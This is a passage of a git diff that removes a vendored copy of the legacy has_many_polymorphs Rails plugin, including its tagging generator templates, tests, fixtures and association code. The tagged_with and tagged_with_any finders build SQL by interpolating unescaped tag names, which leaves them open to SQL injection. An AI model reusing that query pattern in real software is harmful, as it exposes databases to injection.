taggable_models.join(", ") %>], - :through => :taggings, - :dependent => :destroy, -<% if options[:self_referential] -%> :as => :<%= parent_association_name -%>, -<% end -%> - :skip_duplicates => false, - :parent_extend => proc { - # Defined on the taggable models, not on Tag itself. Return the tagnames associated with this record as a string. - def to_s - self.map(&:name).sort.join(Tag::DELIMITER) - end - } - - # Callback to strip extra spaces from the tagname before saving it. If you allow tags to be renamed later, you might want to use the before_save callback instead. - def before_create - self.name = name.downcase.strip.squeeze(" ") - end - - # Tag::Error class. Raised by ActiveRecord::Base::TaggingExtensions if something goes wrong. - class Error < StandardError - end - -end diff --git a/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tag_test.rb b/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tag_test.rb deleted file mode 100644 index 87c383f1..00000000 --- a/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tag_test.rb +++ /dev/null @@ -1,15 +0,0 @@ -require File.dirname(__FILE__) + '/../test_helper' - -class TagTest < ActiveSupport::TestCase - fixtures <%= taggable_models[0..1].join(", ") -%> - - def setup - @obj = <%= model_two %>.find(:first) - @obj.tag_with "pale imperial" - end - - def test_to_s - assert_equal "imperial pale", <%= model_two -%>.find(:first).tags.to_s - end - -end diff --git a/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tagging.rb b/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tagging.rb deleted file mode 100644 index bb5ea28f..00000000 --- a/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tagging.rb +++ /dev/null @@ -1,16 +0,0 @@ - -# The Tagging join model. This model is automatically generated and added to your app if you run the tagging generator included with has_many_polymorphs. - -class Tagging < ActiveRecord::Base - - belongs_to :<%= parent_association_name -%><%= ", :foreign_key => \"#{parent_association_name}_id\", :class_name => \"Tag\"" if options[:self_referential] %> - belongs_to :taggable, :polymorphic => true - - # If you also need to use acts_as_list, you will have to manage the tagging positions manually by creating decorated join records when you associate Tags with taggables. - # acts_as_list :scope => :taggable - - # This callback makes sure that an orphaned Tag is deleted if it no longer tags anything. - def after_destroy - <%= parent_association_name -%>.destroy_without_callbacks if <%= parent_association_name -%> and <%= parent_association_name -%>.taggings.count == 0 - end -end diff --git a/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tagging_extensions.rb b/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tagging_extensions.rb deleted file mode 100644 index 354730b1..00000000 --- a/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tagging_extensions.rb +++ /dev/null @@ -1,205 +0,0 @@ -class ActiveRecord::Base #:nodoc: - - # These extensions make models taggable. This file is automatically generated and required by your app if you run the tagging generator included with has_many_polymorphs. - module TaggingExtensions - - # Add tags to self. Accepts a string of tagnames, an array of tagnames, an array of ids, or an array of Tags. - # - # We need to avoid name conflicts with the built-in ActiveRecord association methods, thus the underscores. - def _add_tags incoming - taggable?(true) - tag_cast_to_string(incoming).each do |tag_name| - begin - tag = Tag.find_or_create_by_name(tag_name) - raise Tag::Error, "tag could not be saved: #{tag_name}" if tag.new_record? - tags << tag - rescue ActiveRecord::StatementInvalid => e - raise unless e.to_s =~ /duplicate/i - end - end - end - - # Removes tags from self. Accepts a string of tagnames, an array of tagnames, an array of ids, or an array of Tags. - def _remove_tags outgoing - taggable?(true) - outgoing = tag_cast_to_string(outgoing) - return [] if outgoing.empty? - <% if options[:self_referential] %> - # because of http://dev.rubyonrails.org/ticket/6466 - taggings.destroy(*(taggings.find(:all, :include => :<%= parent_association_name -%>).select do |tagging| - outgoing.include? tagging.<%= parent_association_name -%>.name - end)) - <% else -%> - outgoing_tags = <%= parent_association_name -%>s.find_all_by_name(outgoing) - outgoing_taggings = taggings.find_all_by_<%= parent_association_name -%>_id(outgoing_tags.map(&:id)) - - taggings.destroy(*outgoing_taggings) - <% end -%> - end - - # Returns the tags on self as a string. - def tag_list - # Redefined later to avoid an RDoc parse error. - end - - # Replace the existing tags on self. Accepts a string of tagnames, an array of tagnames, an array of ids, or an array of Tags. - def tag_with list - #:stopdoc: - taggable?(true) - list = tag_cast_to_string(list) - - # Transactions may not be ideal for you here; be aware. - Tag.transaction do - current = <%= parent_association_name -%>s.map(&:name) - _add_tags(list - current) - _remove_tags(current - list) - end - - self - #:startdoc: - end - - # Returns the tags on self as a string. - def tag_list #:nodoc: - #:stopdoc: - taggable?(true) - <%= parent_association_name -%>s.reload - <%= parent_association_name -%>s.to_s - #:startdoc: - end - - def tag_list=(value) - tag_with(value) - end - - private - - def tag_cast_to_string obj #:nodoc: - case obj - when Array - obj.map! do |item| - case item - when /^\d+$/, Fixnum then Tag.find(item).name # This will be slow if you use ids a lot. - when Tag then item.name - when String then item - else - raise "Invalid type" - end - end - when String - obj = obj.split(Tag::DELIMITER).map do |tag_name| - tag_name.strip.squeeze(" ") - end - else - raise "Invalid object of class #{obj.class} as tagging method parameter" - end.flatten.compact.map(&:downcase).uniq - end - - # Check if a model is in the :taggables target list. The alternative to this check is to explicitly include a TaggingMethods module (which you would create) in each target model. - def taggable?(should_raise = false) #:nodoc: - unless flag = respond_to?(:<%= parent_association_name -%>s) - raise "#{self.class} is not a taggable model" if should_raise - end - flag - end - - end - - module TaggingFinders - # Find all the objects tagged with the supplied list of tags - # - # Usage : Model.tagged_with("ruby") - # Model.tagged_with("hello", "world") - # Model.tagged_with("hello", "world", :limit => 10) - # - # XXX This query strategy is not performant, and needs to be rewritten as an inverted join or a series of unions - # - def tagged_with(*tag_list) - options = tag_list.last.is_a?(Hash) ? tag_list.pop : {} - tag_list = parse_tags(tag_list) - - scope = scope(:find) - options[:select] ||= "#{table_name}.*" - options[:from] ||= "#{table_name}, tags, taggings" - - sql = "SELECT #{(scope && scope[:select]) || options[:select]} " - sql << "FROM #{(scope && scope[:from]) || options[:from]} " - - add_joins!(sql, options[:joins], scope) - - sql << "WHERE #{table_name}.#{primary_key} = taggings.taggable_id " - sql << "AND taggings.taggable_type = '#{ActiveRecord::Base.send(:class_name_of_active_record_descendant, self).to_s}' " - sql << "AND taggings.tag_id = tags.id " - - tag_list_condition = tag_list.map {|name| "'#{name}'"}.join(", ") - - sql << "AND (tags.name IN (#{sanitize_sql(tag_list_condition)})) " - sql << "AND #{sanitize_sql(options[:conditions])} " if options[:conditions] - - columns = column_names.map do |column| - "#{table_name}.#{column}" - end.join(", ") - - sql << "GROUP BY #{columns} " - sql << "HAVING COUNT(taggings.tag_id) = #{tag_list.size}" - - add_order!(sql, options[:order], scope) - add_limit!(sql, options, scope) - add_lock!(sql, options, scope) - - find_by_sql(sql) - end - - def self.tagged_with_any(*tag_list) - options = tag_list.last.is_a?(Hash) ? tag_list.pop : {} - tag_list = parse_tags(tag_list) - - scope = scope(:find) - options[:select] ||= "#{table_name}.*" - options[:from] ||= "#{table_name}, tags, taggings" - - sql = "SELECT #{(scope && scope[:select]) || options[:select]} " - sql << "FROM #{(scope && scope[:from]) || options[:from]} " - - add_joins!(sql, options, scope) - - sql << "WHERE #{table_name}.#{primary_key} = taggings.taggable_id " - sql << "AND taggings.taggable_type = '#{ActiveRecord::Base.send(:class_name_of_active_record_descendant, self).to_s}' " - sql << "AND taggings.tag_id = tags.id " - - sql << "AND (" - or_options = [] - tag_list.each do |name| - or_options << "tags.name = '#{name}'" - end - or_options_joined = or_options.join(" OR ") - sql << "#{or_options_joined}) " - - - sql << "AND #{sanitize_sql(options[:conditions])} " if options[:conditions] - - columns = column_names.map do |column| - "#{table_name}.#{column}" - end.join(", ") - - sql << "GROUP BY #{columns} " - - add_order!(sql, options[:order], scope) - add_limit!(sql, options, scope) - add_lock!(sql, options, scope) - - find_by_sql(sql) - end - - def parse_tags(tags) - return [] if tags.blank? - tags = Array(tags).first - tags = tags.respond_to?(:flatten) ? tags.flatten : tags.split(Tag::DELIMITER) - tags.map { |tag| tag.strip.squeeze(" ") }.flatten.compact.map(&:downcase).uniq - end - - end - - include TaggingExtensions - extend TaggingFinders -end diff --git a/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tagging_test.rb b/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tagging_test.rb deleted file mode 100644 index b556e9d8..00000000 --- a/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tagging_test.rb +++ /dev/null @@ -1,85 +0,0 @@ -require File.dirname(__FILE__) + '/../test_helper' - -class TaggingTest < ActiveSupport::TestCase - fixtures :tags, :taggings, <%= taggable_models[0..1].join(", ") -%> - - def setup - @objs = <%= model_two %>.find(:all, :limit => 2) - - @obj1 = @objs[0] - @obj1.tag_with("pale") - @obj1.reload - - @obj2 = @objs[1] - @obj2.tag_with("pale imperial") - @obj2.reload - -<% if taggable_models.size > 1 -%> - @obj3 = <%= model_one -%>.find(:first) -<% end -%> - @tag1 = Tag.find(1) - @tag2 = Tag.find(2) - @tagging1 = Tagging.find(1) - end - - def test_tag_with - @obj2.tag_with "hoppy pilsner" - assert_equal "hoppy pilsner", @obj2.tag_list - end - - def test_find_tagged_with - @obj1.tag_with "seasonal lager ipa" - @obj2.tag_with ["lager", "stout", "fruity", "seasonal"] - - result1 = [@obj1] - assert_equal <%= model_two %>.tagged_with("ipa"), result1 - assert_equal <%= model_two %>.tagged_with("ipa lager"), result1 - assert_equal <%= model_two %>.tagged_with("ipa", "lager"), result1 - - result2 = [@obj1.id, @obj2.id].sort - assert_equal <%= model_two %>.tagged_with("seasonal").map(&:id).sort, result2 - assert_equal <%= model_two %>.tagged_with("seasonal lager").map(&:id).sort, result2 - assert_equal <%= model_two %>.tagged_with("seasonal", "lager").map(&:id).sort, result2 - end - -<% if options[:self_referential] -%> - def test_self_referential_tag_with - @tag1.tag_with [1, 2] - assert @tag1.tags.any? {|obj| obj == @tag1} - assert !@tag2.tags.any? {|obj| obj == @tag1} - end - -<% end -%> - def test__add_tags - @obj1._add_tags "porter longneck" - assert Tag.find_by_name("porter").taggables.any? {|obj| obj == @obj1} - assert Tag.find_by_name("longneck").taggables.any? {|obj| obj == @obj1} - assert_equal "longneck pale porter", @obj1.tag_list - - @obj1._add_tags [2] - assert_equal "imperial longneck pale porter", @obj1.tag_list - end - - def test__remove_tags - @obj2._remove_tags ["2", @tag1] - assert @obj2.tags.empty? - end - - def test_tag_list - assert_equal "imperial pale", @obj2.tag_list - end - - def test_taggable - assert_raises(RuntimeError) do - @tagging1.send(:taggable?, true) - end - assert !@tagging1.send(:taggable?) -<% if taggable_models.size > 1 -%> - assert @obj3.send(:taggable?) -<% end -%> -<% if options[:self_referential] -%> - assert @tag1.send(:taggable?) -<% end -%> - end - -end diff --git a/vendor/plugins/has_many_polymorphs/generators/tagging/templates/taggings.yml b/vendor/plugins/has_many_polymorphs/generators/tagging/templates/taggings.yml deleted file mode 100644 index 0cf13b9d..00000000 --- a/vendor/plugins/has_many_polymorphs/generators/tagging/templates/taggings.yml +++ /dev/null @@ -1,23 +0,0 @@ ---- -<% if taggable_models.size > 1 -%> -taggings_003: - <%= parent_association_name -%>_id: "2" - id: "3" - taggable_type: <%= model_one %> - taggable_id: "1" -<% end -%> -taggings_004: - <%= parent_association_name -%>_id: "2" - id: "4" - taggable_type: <%= model_two %> - taggable_id: "2" -taggings_001: - <%= parent_association_name -%>_id: "1" - id: "1" - taggable_type: <%= model_two %> - taggable_id: "1" -taggings_002: - <%= parent_association_name -%>_id: "1" - id: "2" - taggable_type: <%= model_two %> - taggable_id: "2" diff --git a/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tags.yml b/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tags.yml deleted file mode 100644 index 517a8ce5..00000000 --- a/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tags.yml +++ /dev/null @@ -1,7 +0,0 @@ ---- -tags_001: - name: pale - id: "1" -tags_002: - name: imperial - id: "2" diff --git a/vendor/plugins/has_many_polymorphs/init.rb b/vendor/plugins/has_many_polymorphs/init.rb deleted file mode 100644 index 3939a253..00000000 --- a/vendor/plugins/has_many_polymorphs/init.rb +++ /dev/null @@ -1,2 +0,0 @@ - -require 'has_many_polymorphs' diff --git a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs.rb b/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs.rb deleted file mode 100644 index 03c600cc..00000000 --- a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs.rb +++ /dev/null @@ -1,27 +0,0 @@ - -require 'active_record' - -RAILS_DEFAULT_LOGGER = nil unless defined? RAILS_DEFAULT_LOGGER - -require 'has_many_polymorphs/reflection' -require 'has_many_polymorphs/association' -require 'has_many_polymorphs/class_methods' - -require 'has_many_polymorphs/support_methods' -require 'has_many_polymorphs/base' - -class ActiveRecord::Base - extend ActiveRecord::Associations::PolymorphicClassMethods -end - -if ENV['HMP_DEBUG'] || ENV['RAILS_ENV'] =~ /development|test/ && ENV['USER'] == 'eweaver' - require 'has_many_polymorphs/debugging_tools' -end - -if defined? Rails and RAILS_ENV and RAILS_ROOT - _logger_warn "rails environment detected" - require 'has_many_polymorphs/configuration' - require 'has_many_polymorphs/autoload' -end - -_logger_debug "loaded ok" diff --git a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/association.rb b/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/association.rb deleted file mode 100644 index 0d2139e3..00000000 --- a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/association.rb +++ /dev/null @@ -1,160 +0,0 @@ -module ActiveRecord #:nodoc: - module Associations #:nodoc: - - class PolymorphicError < ActiveRecordError #:nodoc: - end - - class PolymorphicMethodNotSupportedError < ActiveRecordError #:nodoc: - end - - # The association class for a has_many_polymorphs association. - class PolymorphicAssociation < HasManyThroughAssociation - - # Push a record onto the association. Triggers a database load for a uniqueness check only if :skip_duplicates is true. Return value is undefined. - def <<(*records) - return if records.empty? - - if @reflection.options[:skip_duplicates] - _logger_debug "Loading instances for polymorphic duplicate push check; use :skip_duplicates => false and perhaps a database constraint to avoid this possible performance issue" - load_target - end - - @reflection.klass.transaction do - flatten_deeper(records).each do |record| - if @owner.new_record? or not record.respond_to?(:new_record?) or record.new_record? - raise PolymorphicError, "You can't associate unsaved records." - end - next if @reflection.options[:skip_duplicates] and @target.include? record - @owner.send(@reflection.through_reflection.name).proxy_target << @reflection.klass.create!(construct_join_attributes(record)) - @target << record if loaded? - end - end - - self - end - - alias :push :<< - alias :concat :<< - - # Runs a find against the association contents, returning the matched records. All regular find options except :include are supported. - def find(*args) - opts = args._extract_options! - opts.delete :include - super(*(args + [opts])) - end - - def construct_scope - _logger_warn "Warning; not all usage scenarios for polymorphic scopes are supported yet." - super - end - - # Deletes a record from the association. Return value is undefined. - def delete(*records) - records = flatten_deeper(records) - records.reject! {|record| @target.delete(record) if record.new_record?} - return if records.empty? - - @reflection.klass.transaction do - records.each do |record| - joins = @reflection.through_reflection.name - @owner.send(joins).delete(@owner.send(joins).select do |join| - join.send(@reflection.options[:polymorphic_key]) == record.id and - join.send(@reflection.options[:polymorphic_type_key]) == "#{record.class.base_class}" - end) - @target.delete(record) - end - end - end - - # Clears all records from the association. Returns an empty array. - def clear(klass = nil) - load_target - return if @target.empty? - - if klass - delete(@target.select {|r| r.is_a? klass }) - else - @owner.send(@reflection.through_reflection.name).clear - @target.clear - end - [] - end - - protected - -# undef :sum -# undef :create! - - def construct_quoted_owner_attributes(*args) #:nodoc: - # no access to returning() here? why not? - type_key = @reflection.options[:foreign_type_key] - h = {@reflection.primary_key_name => @owner.id} - h[type_key] = @owner.class.base_class.name if type_key - h - end - - def construct_from #:nodoc: - # build the FROM part of the query, in this case, the polymorphic join table - @reflection.klass.quoted_table_name - end - - def construct_owner #:nodoc: - # the table name for the owner object's class - @owner.class.quoted_table_name - end - - def construct_owner_key #:nodoc: - # the primary key field for the owner object - @owner.class.primary_key - end - - def construct_select(custom_select = nil) #:nodoc: - # build the select query - selected = custom_select || @reflection.options[:select] - end - - def construct_joins(custom_joins = nil) #:nodoc: - # build the string of default joins - "JOIN #{construct_owner} AS polymorphic_parent ON #{construct_from}.#{@reflection.options[:foreign_key]} = polymorphic_parent.#{construct_owner_key} " + - @reflection.options[:from].map do |plural| - klass = plural._as_class - "LEFT JOIN #{klass.quoted_table_name} ON #{construct_from}.#{@reflection.options[:polymorphic_key]} = #{klass.quoted_table_name}.#{klass.primary_key} AND #{construct_from}.#{@reflection.options[:polymorphic_type_key]} = #{@reflection.klass.quote_value(klass.base_class.name)}" - end.uniq.join(" ") + " #{custom_joins}" - end - - def construct_conditions #:nodoc: - # build the fully realized condition string - conditions = construct_quoted_owner_attributes.map do |field, value| - "#{construct_from}.#{field} = #{@reflection.klass.quote_value(value)}" if value - end - conditions << custom_conditions if custom_conditions - "(" + conditions.compact.join(') AND (') + ")" - end - - def custom_conditions #:nodoc: - # custom conditions... not as messy as has_many :through because our joins are a little smarter - if @reflection.options[:conditions] - "(" + interpolate_sql(@reflection.klass.send(:sanitize_sql, @reflection.options[:conditions])) + ")" - end - end - - alias :construct_owner_attributes :construct_quoted_owner_attributes - alias :conditions :custom_conditions # XXX possibly not necessary - alias :sql_conditions :custom_conditions # XXX ditto - - # construct attributes for join for a particular record - def construct_join_attributes(record) #:nodoc: - {@reflection.options[:polymorphic_key] => record.id, - @reflection.options[:polymorphic_type_key] => "#{record.class.base_class}", - @reflection.options[:foreign_key] => @owner.id}.merge(@reflection.options[:foreign_type_key] ? - {@reflection.options[:foreign_type_key] => "#{@owner.class.base_class}"} : {}) # for double-sided relationships - end - - def build(attrs = nil) #:nodoc: - raise PolymorphicMethodNotSupportedError, "You can't associate new records." - end - - end - - end -end diff --git a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/autoload.rb b/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/autoload.rb deleted file mode 100644 index 5c7e3a8b..00000000 --- a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/autoload.rb +++ /dev/null @@ -1,74 +0,0 @@ -require 'initializer' unless defined? ::Rails::Initializer -require 'action_controller/dispatcher' unless defined? ::ActionController::Dispatcher - -module HasManyPolymorphs - -=begin rdoc -Searches for models that use has_many_polymorphs or acts_as_double_polymorphic_join and makes sure that they get loaded during app initialization. This ensures that helper methods are injected into the target classes. - -Note that you can override DEFAULT_OPTIONS via Rails::Configuration#has_many_polymorphs_options. For example, if you need an application extension to be required before has_many_polymorphs loads your models, add an after_initialize block in config/environment.rb that appends to the 'requirements' key: - Rails::Initializer.run do |config| - # your other configuration here - - config.after_initialize do - config.has_many_polymorphs_options['requirements'] << 'lib/my_extension' - end - end - -=end - - MODELS_ROOT = "#{RAILS_ROOT}/app/models/" - - DEFAULT_OPTIONS = { - :file_pattern => "#{MODELS_ROOT}**/*.rb", - :file_exclusions => ['svn', 'CVS', 'bzr'], - :methods => ['has_many_polymorphs', 'acts_as_double_polymorphic_join'], - :requirements => []} - - mattr_accessor :options - @@options = HashWithIndifferentAccess.new(DEFAULT_OPTIONS) - - - # Dispatcher callback to load polymorphic relationships from the top down. - def self.autoload - - _logger_debug "autoload hook invoked" - - options[:requirements].each do |requirement| - _logger_warn "forcing requirement load of #{requirement}" - require requirement - end - - Dir.glob(options[:file_pattern]).each do |filename| - next if filename =~ /#{options[:file_exclusions].join("|")}/ - open(filename) do |file| - if file.grep(/#{options[:methods].join("|")}/).any? - begin - modelname = filename[0..-4] - modelname.slice!(MODELS_ROOT) - model = modelname.camelize - _logger_warn "preloading parent model #{model}" - model.constantize - rescue Object => e - _logger_warn "#{model} could not be preloaded: #{e.inspect}" - end - end - end - end - end - -end - -class Rails::Initializer #:nodoc: - # Make sure it gets loaded in the console, tests, and migrations - def after_initialize_with_autoload - after_initialize_without_autoload - HasManyPolymorphs.autoload - end - alias_method_chain :after_initialize, :autoload -end - -ActionController::Dispatcher.to_prepare(:has_many_polymorphs_autoload) do - # Make sure it gets loaded in the app - HasManyPolymorphs.autoload -end diff --git a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/base.rb b/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/base.rb deleted file mode 100644 index 9513039c..00000000 --- a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/base.rb +++ /dev/null @@ -1,60 +0,0 @@ - -module ActiveRecord - class Base - - class << self - - # Interprets a polymorphic row from a unified SELECT, returning the appropriate ActiveRecord instance. Overrides ActiveRecord::Base.instantiate_without_callbacks. - def instantiate_with_polymorphic_checks(record) - if record['polymorphic_parent_class'] - reflection = record['polymorphic_parent_class'].constantize.reflect_on_association(record['polymorphic_association_id'].to_sym) -# _logger_debug "Instantiating a polymorphic row for #{record['polymorphic_parent_class']}.reflect_on_association(:#{record['polymorphic_association_id']})" - - # rewrite the record with the right column names - table_aliases = reflection.options[:table_aliases].dup - record = Hash[*table_aliases.keys.map {|key| [key, record[table_aliases[key]]] }.flatten] - - # find the real child class - klass = record["#{self.table_name}.#{reflection.options[:polymorphic_type_key]}"].constantize - if sti_klass = record["#{klass.table_name}.#{klass.inheritance_column}"] - klass = klass.class_eval do compute_type(sti_klass) end # in case of namespaced STI models - end - - # check that the join actually joined to something - unless (child_id = record["#{self.table_name}.#{reflection.options[:polymorphic_key]}"]) == record["#{klass.table_name}.#{klass.primary_key}"] - raise ActiveRecord::Associations::PolymorphicError, - "Referential integrity violation; child <#{klass.name}:#{child_id}> was not found for #{reflection.name.inspect}" - end - - # eject the join keys - # XXX not very readable - record = Hash[*record._select do |column, value| - column[/^#{klass.table_name}/] - end.map do |column, value| - [column[/\.(.*)/, 1], value] - end.flatten] - - # allocate and assign values - returning(klass.allocate) do |obj| - obj.instance_variable_set("@attributes", record) - obj.instance_variable_set("@attributes_cache", Hash.new) - - if obj.respond_to_without_attributes?(:after_find) - obj.send(:callback, :after_find) - end - - if obj.respond_to_without_attributes?(:after_initialize) - obj.send(:callback, :after_initialize) - end - - end - else - instantiate_without_polymorphic_checks(record) - end - end - - alias_method_chain :instantiate, :polymorphic_checks - end - - end -end diff --git a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/class_methods.rb b/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/class_methods.rb deleted file mode 100644 index e1a9b302..00000000 --- a/vendor/plugins/has_many_polymorphs/lib/has_many_polymorphs/class_methods.rb +++ /dev/null @@ -1,600 +0,0 @@ - -module ActiveRecord #:nodoc: - module Associations #:nodoc: - -=begin rdoc - -Class methods added to ActiveRecord::Base for setting up polymorphic associations. - -== Notes - -STI association targets must enumerated and named. For example, if Dog and Cat both inherit from Animal, you still need to say [:dogs, :cats], and not [:animals]. - -Namespaced models follow the Rails underscore convention. ZooAnimal::Lion becomes :'zoo_animal/lion'. - -You do not need to set up any other associations other than for either the regular method or the double. The join associations and all individual and reverse associations are generated for you. However, a join model and table are required. - -There is a tentative report that you can make the parent model be its own join model, but this is untested. - -=end - - module PolymorphicClassMethods - - RESERVED_DOUBLES_KEYS = [:conditions, :order, :limit, :offset, :extend, :skip_duplicates, - :join_extend, :dependent, :rename_individual_collections, - :namespace] #:nodoc: - -=begin rdoc - -This method creates a doubled-sided polymorphic relationship. It must be called on the join model: - - class Devouring < ActiveRecord::Base - belongs_to :eater, :polymorphic => true - belongs_to :eaten, :polymorphic => true - - acts_as_double_polymorphic_join( - :eaters => [:dogs, :cats], - :eatens => [:cats, :birds] - ) - end - -The method works by defining one or more special has_many_polymorphs association on every model in the target lists, depending on which side of the association it is on. Double self-references will work. - -The two association names and their value arrays are the only required parameters. - -== Available options - -These options are passed through to targets on both sides of the association. If you want to affect only one side, prepend the key with the name of that side. For example, :eaters_extend. - -:dependent:: Accepts :destroy, :nullify, or :delete_all. Controls how the join record gets treated on any association delete (whether from the polymorph or from an individual collection); defaults to :destroy. -:skip_duplicates:: If true, will check to avoid pushing already associated records (but also triggering a database load). Defaults to true. -:rename_individual_collections:: If true, all individual collections are prepended with the polymorph name, and the children's parent collection is appended with "\_of_#{association_name}". -:extend:: One or an array of mixed modules and procs, which are applied to the polymorphic association (usually to define custom methods). -:join_extend:: One or an array of mixed modules and procs, which are applied to the join association. -:conditions:: An array or string of conditions for the SQL WHERE clause. -:order:: A string for the SQL ORDER BY clause. -:limit:: An integer. Affects the polymorphic and individual associations. -:offset:: An integer. Only affects the polymorphic association. -:namespace:: A symbol. Prepended to all the models in the :from and :through keys. This is especially useful for Camping, which namespaces models by default. - -=end - - def acts_as_double_polymorphic_join options={}, &extension - - collections, options = extract_double_collections(options) - - # handle the block - options[:extend] = (if options[:extend] - Array(options[:extend]) + [extension] - else - extension - end) if extension - - collection_option_keys = make_general_option_keys_specific!(options, collections) - - join_name = self.name.tableize.to_sym - collections.each do |association_id, children| - parent_hash_key = (collections.keys - [association_id]).first # parents are the entries in the _other_ children array - - begin - parent_foreign_key = self.reflect_on_association(parent_hash_key._singularize).primary_key_name - rescue NoMethodError - raise PolymorphicError, "Couldn't find 'belongs_to' association for :#{parent_hash_key._singularize} in #{self.name}." unless parent_foreign_key - end - - parents = collections[parent_hash_key] - conflicts = (children & parents) # set intersection - parents.each do |plural_parent_name| - - parent_class = plural_parent_name._as_class - singular_reverse_association_id = parent_hash_key._singularize - - internal_options = { - :is_double => true, - :from => children, - :as => singular_reverse_association_id, - :through => join_name.to_sym, - :foreign_key => parent_foreign_key, - :foreign_type_key => parent_foreign_key.to_s.sub(/_id$/, '_type'), - :singular_reverse_association_id => singular_reverse_association_id, - :conflicts => conflicts - } - - general_options = Hash[*options._select do |key, value| - collection_option_keys[association_id].include? key and !value.nil? - end.map do |key, value| - [key.to_s[association_id.to_s.length+1..-1].to_sym, value] - end._flatten_once] # rename side-specific options to general names - - general_options.each do |key, value| - # avoid clobbering keys that appear in both option sets - if internal_options[key] - general_options[key] = Array(value) + Array(internal_options[key]) - end - end - - parent_class.send(:has_many_polymorphs, association_id, internal_options.merge(general_options)) - - if conflicts.include? plural_parent_name - # unify the alternate sides of the conflicting children - (conflicts).each do |method_name| - unless parent_class.instance_methods.include?(method_name) - parent_class.send(:define_method, method_name) do - (self.send("#{singular_reverse_association_id}_#{method_name}") + - self.send("#{association_id._singularize}_#{method_name}")).freeze - end - end - end - - # unify the join model... join model is always renamed for doubles, unlike child associations - unless parent_class.instance_methods.include?(join_name) - parent_class.send(:define_method, join_name) do - (self.send("#{join_name}_as_#{singular_reverse_association_id}") + - self.send("#{join_name}_as_#{association_id._singularize}")).freeze - end - end - else - unless parent_class.instance_methods.include?(join_name) - parent_class.send(:alias_method, join_name, "#{join_name}_as_#{singular_reverse_association_id}") - end - end - - end - end - end - - private - - def extract_double_collections(options) - collections = options._select do |key, value| - value.is_a? Array and key.to_s !~ /(#{RESERVED_DOUBLES_KEYS.map(&:to_s).join('|')})$/ - end - - raise PolymorphicError, "Couldn't understand options in acts_as_double_polymorphic_join. Valid parameters are your two class collections, and then #{RESERVED_DOUBLES_KEYS.inspect[1..-2]}, with optionally your collection names prepended and joined with an underscore." unless collections.size == 2 - - options = options._select do |key, value| - !collections[key] - end - - [collections, options] - end - - def make_general_option_keys_specific!(options, collections) - collection_option_keys = Hash[*collections.keys.map do |key| - [key, RESERVED_DOUBLES_KEYS.map{|option| "#{key}_#{option}".to_sym}] - end._flatten_once] - - collections.keys.each do |collection| - options.each do |key, value| - next if collection_option_keys.values.flatten.include? key - # shift the general options to the individual sides - collection_key = "#{collection}_#{key}".to_sym - collection_value = options[collection_key] - case key - when :conditions - collection_value, value = sanitize_sql(collection_value), sanitize_sql(value) - options[collection_key] = (collection_value ? "(#{collection_value}) AND (#{value})" : value) - when :order - options[collection_key] = (collection_value ? "#{collection_value}, #{value}" : value) - when :extend, :join_extend - options[collection_key] = Array(collection_value) + Array(value) - else - options[collection_key] ||= value - end - end - end - - collection_option_keys - end - - - - public - -=begin rdoc - -This method createds a single-sided polymorphic relationship. - - class Petfood < ActiveRecord::Base - has_many_polymorphs :eaters, :from => [:dogs, :cats, :birds] - end - -The only required parameter, aside from the association name, is :from. - -The method generates a number of associations aside from the polymorphic one. In this example Petfood also gets dogs, cats, and birds, and Dog, Cat, and Bird get petfoods. (The reverse association to the parents is always plural.) - -== Available options - -:from:: An array of symbols representing the target models. Required. -:as:: A symbol for the parent's interface in the join--what the parent 'acts as'. -:through:: A symbol representing the class of the join model. Follows Rails defaults if not supplied (the parent and the association names, alphabetized, concatenated with an underscore, and singularized). -:dependent:: Accepts :destroy, :nullify, :delete_all. Controls how the join record gets treated on any associate delete (whether from the polymorph or from an individual collection); defaults to :destroy. -:skip_duplicates:: If true, will check to avoid pushing already associated records (but also triggering a database load). Defaults to true. -:rename_individual_collections:: If true, all individual collections are prepended with the polymorph name, and the children's parent collection is appended with "_of_#{association_name}". For example, zoos becomes zoos_of_animals. This is to help avoid method name collisions in crowded classes. -:extend:: One or an array of mixed modules and procs, which are applied to the polymorphic association (usually to define custom methods). -:join_extend:: One or an array of mixed modules and procs, which are applied to the join association. -:parent_extend:: One or an array of mixed modules and procs, which are applied to the target models' association to the parents. -:conditions:: An array or string of conditions for the SQL WHERE clause. -:parent_conditions:: An array or string of conditions which are applied to the target models' association to the parents. -:order:: A string for the SQL ORDER BY clause. -:parent_order:: A string for the SQL ORDER BY which is applied to the target models' association to the parents. -:group:: An array or string of conditions for the SQL GROUP BY clause. Affects the polymorphic and individual associations. -:limit:: An integer. Affects the polymorphic and individual associations. -:offset:: An integer. Only affects the polymorphic association. -:namespace:: A symbol. Prepended to all the models in the :from and :through keys. This is especially useful for Camping, which namespaces models by default. -:uniq:: If true, the records returned are passed through a pure-Ruby uniq before they are returned. Rarely needed. -:foreign_key:: The column name for the parent's id in the join. -:foreign_type_key:: The column name for the parent's class name in the join, if the parent itself is polymorphic. Rarely needed--if you're thinking about using this, you almost certainly want to use acts_as_double_polymorphic_join() instead. -:polymorphic_key:: The column name 